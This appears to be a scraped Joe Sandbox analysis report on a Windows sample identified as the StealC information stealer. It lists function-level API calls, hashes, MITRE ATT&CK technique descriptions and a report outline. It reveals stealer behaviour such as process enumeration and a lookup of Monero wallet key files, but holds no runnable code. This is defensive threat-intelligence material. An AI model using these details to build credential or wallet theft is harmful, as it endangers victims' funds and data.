Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 34e6e4b95fea3c4c46d6f614126ce796b0d9f93d635a036d82621c4688fae01c
Instruction ID: 293fc828b2f76428abcede58ad339ea18641b96f58df01ef008c681117c37894
Opcode Fuzzy Hash: 34e6e4b95fea3c4c46d6f614126ce796b0d9f93d635a036d82621c4688fae01c
Instruction Fuzzy Hash: 33314DB1E00208AFDB18EFD0CC49BEDB779FF44300F104659E506AB284DB74AA89CB56

Function 00688680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006905B7), ref: 006886CA
Process32First.KERNEL32(?,00000128), ref: 006886DE
Process32Next.KERNEL32(?,00000128), ref: 006886F3

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

CloseHandle.KERNEL32(?), ref: 00688761

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 0e7be6a5909aed3eaefcc46251c67c8e98a99835bc7f843f1862bea9d147ab70
Instruction ID: e06f70d9eab2cd9377d1e63c579bd4e01b03c87978fda97287116adb4e0f5cb1
Opcode Fuzzy Hash: 0e7be6a5909aed3eaefcc46251c67c8e98a99835bc7f843f1862bea9d147ab70
Instruction Fuzzy Hash: BD316DB1901218ABDB64EF90CC41FEEB779FB45700F5042AEE50AB21A0DF346A45CFA1

Function 00687980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00690E00,00000000,?), ref: 006879B0
RtlAllocateHeap.NTDLL(00000000), ref: 006879B7
GetLocalTime.KERNEL32(?,?,?,?,?,00690E00,00000000,?), ref: 006879C4
wsprintfA.USER32 ref: 006879F3

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: f8c983418e78955b737ac9fad206718a30922128c12724e74ef3e3f0deb370e4
Instruction ID: c8cd86f07ad6188a07a2941c841e8f81c5d55ee5845f57e5fe183a33800d223d
Opcode Fuzzy Hash: f8c983418e78955b737ac9fad206718a30922128c12724e74ef3e3f0deb370e4
Instruction Fuzzy Hash: 091127B2904118ABCB18DFC9DD45BBEB7F8FB4CB11F10421AF605A2280E2399940CBB1

Function 0068C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0068C74E

Part of subcall function 0068BF9F: __amsg_exit.LIBCMT ref: 0068BFAF

__getptd.LIBCMT ref: 0068C765
__amsg_exit.LIBCMT ref: 0068C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0068C797

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 95b77741dc33f04ee950ad3f64cee4c7c120a291d2bbd66b3b5b96a9c8d5c4ad
Instruction ID: 03757ef1e2f1a2649c39623c230ed3fe0bd7029076ca926b1d19f6129c9e863f
Opcode Fuzzy Hash: 95b77741dc33f04ee950ad3f64cee4c7c120a291d2bbd66b3b5b96a9c8d5c4ad
Instruction Fuzzy Hash: F3F090329446109BD7A0BFB85807B8D33A3AF00730F21534EF604A62D2DB745941DF6E

Function 00684F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00688DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00688E0B

lstrcat.KERNEL32(?,00000000), ref: 00684F7A
lstrcat.KERNEL32(?,00691070), ref: 00684F97
lstrcat.KERNEL32(?,012B8BA8), ref: 00684FAB
lstrcat.KERNEL32(?,00691074), ref: 00684FBD

Part of subcall function 00684910: wsprintfA.USER32 ref: 0068492C
Part of subcall function 00684910: FindFirstFileA.KERNEL32(?,?), ref: 00684943

Part of subcall function 00684910: StrCmpCA.SHLWAPI(?,00690FDC), ref: 00684971
Part of subcall function 00684910: StrCmpCA.SHLWAPI(?,00690FE0), ref: 00684987
Part of subcall function 00684910: FindNextFileA.KERNEL32(000000FF,?), ref: 00684B7D
Part of subcall function 00684910: FindClose.KERNEL32(000000FF), ref: 00684B92

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ce4651187132bdc4ade57111174aab28dba7e394c334157377c8e537bdfa5d19
Instruction ID: 8f8d4a76c3f070bad2d4b226b54c8057ac8167a5d958962a0d60f6afdc3b652b
Opcode Fuzzy Hash: ce4651187132bdc4ade57111174aab28dba7e394c334157377c8e537bdfa5d19
Instruction Fuzzy Hash: 5021CBB69002046BDB98F7B0DC46EED333DBB54300F404799B64957581EE7597C88B96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00689860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 006745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00674880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00689C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00676280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00685510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 006817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00687500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 006869F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00671220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00686AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 006747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 006851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON